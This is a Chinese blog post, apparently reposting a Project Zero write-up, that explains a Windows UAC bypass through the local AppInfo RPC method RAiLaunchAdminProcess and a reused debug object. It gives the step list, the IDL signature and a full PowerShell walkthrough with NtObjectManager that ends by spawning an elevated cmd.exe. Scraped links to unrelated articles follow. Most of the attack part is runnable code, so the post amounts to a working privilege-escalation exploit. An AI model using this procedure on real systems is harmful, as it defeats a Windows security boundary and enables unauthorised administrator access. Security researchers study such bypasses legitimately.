通过调用Windows本地RPC服务器bypass UAC
备战一个月比赛,导致近期都没啥时间更新博客,正好今天看到一篇通过调用本地RPC服务的文章,觉得非常有意思,就拿来充充博客。
在1.0版本的APPINFO.DLL中的RPC服务调用接口ID为:201ef99a-7fa0-444c-9399-19ba84f12a1a
用RAiLaunchAdminProcess函数调用本地RPC
[
uuid (201ef99a-7fa0-444c--19ba84f12a1a),
version(1.0),
]
long RAiLaunchAdminProcess(
handle_t hBinding,
[in][unique][string] wchar_t* ExecutablePath,
[in][unique][string] wchar_t* CommandLine,
[in] long StartFlags,
[in] long CreateFlags,
[in][string] wchar_t* CurrentDirectory,
[in][string] wchar_t* WindowStation,
[in] struct APP_STARTUP_INFO* StartupInfo,
[in] unsigned __int3264 hWnd,
[in] long Timeout,
[out] struct APP_PROCESS_INFORMATION* ProcessInformation,
[out] long *ElevationType
);
ALPC(高级本地过程调用)调用原理图:

画的有点水,大概就是如上图所示
UAC步骤
1.利用RAiLaunchAdminProcess设置StartFlags标志为0并设置DEBUG_PROCESS来创建一个新的non-elevated进程。这将在服务器中RPC线程的TEB中初始化debug对象字段,并将其分配给新进程。
2.使用带有返回的进程句柄的NtQueryInformationProcess打开调试对象的句柄。
3.分离调试器并终止不再需要的新进程
4.通过RAiLaunchAdminProcess与StartFlags设置为1来创建一个新的提升进程,设置DEBUG_PROCESS标志 。由于已经初始化了TEB中的debug对象字段,因此将在步骤2中捕获的现有对象分配给了新进程。
5.检索初始调试事件,该事件将返回完整的访问进程句柄。
6.使用新的进程句柄代码,可以将其注入提升的进程中,从而完成UAC Bypass。
首先放上powershell的利用过程:
首先利用powershell的NtObjectManager模块,可以通过
Install-Module "NtObjectManager" -Scope CurrentUser
安装NtObjectManager模块,如果模块存在可以通过以下命令更新
Update-Module -Name NtObjectManager
然后解析APPINFO.DLL提取所有的RPC服务
$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" `
| Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"
可以通过
Get-RpcServerName $rpc
生成一个XML文件
这里用修改后的测试文件
<RpcServerNameData
xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager">
<InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId>
<InterfaceMajorVersion>1</InterfaceMajorVersion>
<InterfaceMinorVersion>0</InterfaceMinorVersion>
<Procedures>
<NdrProcedureNameData>
<Index>0</Index>
<Name>RAiLaunchAdminProcess</Name>
<Parameters>
<NdrProcedureParameterNameData>
<Index>10</Index>
<Name>ProcessInformation</Name>
</NdrProcedureParameterNameData>
</Parameters>
</NdrProcedureNameData>
</Procedures>
<Structures>
<NdrStructureNameData>
<Index>0</Index>
<Members/>
<Name>APP_STARTUP_INFO</Name>
</NdrStructureNameData>
<NdrStructureNameData>
<Index>2</Index>
<Members>
<NdrStructureMemberNameData>
<Index>0</Index>
<Name>ProcessHandle</Name>
</NdrStructureMemberNameData>
</Members>
<Name>APP_PROCESS_INFORMATION</Name>
</NdrStructureNameData>
</Structures>
</RpcServerNameData>
XML
将文件保存为names.xml
Get-Content "names.xml" | Set-RpcServerName $rpc
可以通过上述命令将xml文件内容应用于$rpc对象
最后创建客户端新实例,它生成一个C#源代码,并编译成临时程序集
$client = Get-RpcClient $rpc
可以通过Format-RpcClient函数查看生成的C#源代码
将客户端链接到本地RPC服务器的ALPC端口
Connect-RpcClient $client
接下来定义一个函数,里面实现了RAiLaunchAdminProcess方法的调用,该函数返回一个NtProcess对象,该对象可用于访问创建进程的属性
function Start-Uac {
Param(
[Parameter(Mandatory, Position = 0)]
[string]$Executable,
[switch]$RunAsAdmin
)
$CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
[NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
$StartInfo = $client.New.APP_STARTUP_INFO()
$result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
[int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
"C:\", "WinSta0\Default", $StartInfo, 0, -1)
if ($result.retval -ne 0) {
$ex = [System.ComponentModel.Win32Exception]::new($result.retval)
throw $ex
}
$h = $result.ProcessInformation.ProcessHandle.Value
Get-NtObjectFromHandle $h -OwnsHandle
}
创建一个进程并捕获debug对象,一旦获取调试对象,要将调试器与进程分离。
$p = Start-Uac "c:\windows\system32\notepad.exe"
$dbg = Get-NtDebug -Process $p
Stop-NtProcess $p
Remove-NtDebugProcess $dbg -Process $p
创建一个提升的进程,发现分配给提升进程的调试对象与刚才创建的调试对象相同。现在,我们在调试对象上发出等待,从中可以提取到特权进程句柄。
但因为初始调试的句柄没有完全特权,得使用Copy-NtObject从提升的进程中复制当前进程的伪句柄(-1),从而获取完全特权句柄。
$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
Remove-NtDebugProcess $dbg -Process $new_p
此时再以$new_p为父进程生成一个特权权限的cmd进程
New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

参考链接:https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
C#项目地址:https://github.com/tyranid/WindowsRpcClients
通过调用Windows本地RPC服务器bypass UAC的更多相关文章
- Windows提示 错误: RPC 服务器不可用 解决方法。
试验环境: 本地主机:win10 ip:192.168.0.10 远程主机: win2008 R2 ip:192.168.1.128 我想要通过systeminfo去获取远程主机的系统信息,但是 ...
- linux上配置subversion服务器端安装配置并使用svn,windows本地检出,设置同步更新服务器的钩子
参考http://my.oschina.net/junn/blog/164041 http://songxj.blog.51cto.com/620981/396113 http://5iwww.blo ...
- Windows下搭建本地SVN服务器【转】
转自:http://www.linuxidc.com/Linux/2015-01/111563.htm 本文介绍Windows下搭建本地SVN服务器的方法,网上资料比较少也比较旧,大都介绍的是旧版本S ...
- 2018-2019-2 20165215《网络对抗技术》Exp10 Final Windows本地内核提权+Exploit-Exercises Nebula学习与实践
目录 PART ONE :Windows本地内核提权 漏洞概述 漏洞原理 漏洞复现 windbg调试本地内核 查看SSDT表和SSDTShadow表 查看窗口站结构体信息 利用Poc验证漏洞 漏洞利用 ...
- 谈谈如何使用Netty开发实现高性能的RPC服务器
RPC(Remote Procedure Call Protocol)远程过程调用协议,它是一种通过网络,从远程计算机程序上请求服务,而不必了解底层网络技术的协议.说的再直白一点,就是客户端在不必知道 ...
- Netty实现高性能RPC服务器优化篇之消息序列化
在本人写的前一篇文章中,谈及有关如何利用Netty开发实现,高性能RPC服务器的一些设计思路.设计原理,以及具体的实现方案(具体参见:谈谈如何使用Netty开发实现高性能的RPC服务器).在文章的最后 ...
- 解决远程桌面链接时出现"The RPC server is unavailable."或"RPC服务器不可用"的问题
解决远程桌面链接时出现"The RPC server is unavailable."或"RPC服务器不可用"的问题 解决远程桌面链接时出现"The ...
- Netty实现高性能RPC服务器
在本人写的前一篇文章中,谈及有关如何利用Netty开发实现,高性能RPC服务器的一些设计思路.设计原理,以及具体的实现方案(具体参见:谈谈如何使用Netty开发实现高性能的RPC服务器).在文章的最后 ...
- Netty开发实现高性能的RPC服务器
Netty开发实现高性能的RPC服务器 RPC(Remote Procedure Call Protocol)远程过程调用协议,它是一种通过网络,从远程计算机程序上请求服务,而不必了解底层网络技术的协 ...
随机推荐
- PHP is_numeric() 函数
is_numeric() 函数用于检测变量是否为数字或数字字符串. 例子 <?php $var_name1=; $var_name2="a678"; $var_name3=& ...
- LeetCode之最大子段和
1.原问题 给定一个数组,求这个数组的连续子数组中,最大的那一段的和.如数组[-2,1,-3,4,-1,2,1,-5,4] 的子段为:[-2,1].[1,-3,4,-1].[4,-1,2,1].….[ ...
- Docker配置文件详解
先来看一份 docker-compose.yml 文件,不用管这是干嘛的,只是有个格式方便后文解说: version: '2' services: web: image: dockercloud/he ...
- Java中对象并不是都在堆上分配内存的
转(https://blog.51cto.com/13906751/2153924) 前段时间,给星球的球友们专门码了一篇文章<深入分析Java的编译原理>,其中深入的介绍了Java中的j ...
- 像母语者一样说美语 How to Improve Spoken American English - Sound like a Native Speaker
视频讲解: 视频详情见:https://www.bilibili.com/video/av75075387/ 总结分析: 001 要点总结: 1. 本富兰克林方法: 要你写下一切听到的东西 2. 辅音 ...
- selenium之 下拉选择框Select
今天总结下selenium的下拉选择框.我们通常会遇到两种下拉框,一种使用的是html的标签select,另一种是使用input标签做的假下拉框. 后者我们通常的处理方式与其他的元素类似,点击或使用J ...
- Android 开发常用工具合集
在 Android 开发中经常使用到的小功能,用于记录开发的那些事^_^ 1. 获取 release 和 debug 版本的 SHA1 public static String getSHA1(Con ...
- 去掉iframe周围的空白
今天,在处理一个网页样式时,遇到了一小问题,就是调用的iframe四周出现了空白. iframe调用的代码如下: 示例: <iframe src="http://www.xxx.c ...
- shell获取今天、明天、昨天、n天、周、月、年日期
1.获取今天日期 $ date -d now +%Y-%m-%d 或者$ date +%F 1 2 2.获取明天日期 $ date -d next-day +%Y-%m-%d$ date - ...
- 【转载】迄今为止把同步/异步/阻塞/非阻塞/BIO/NIO/AIO讲的这么清楚的好文章(快快珍藏)
原文链接:https://www.cnblogs.com/lixinjie/p/10811219.html 常规的误区 假设有一个展示用户详情的需求,分两步,先调用一个HTTP接口拿到详情数据,然后使 ...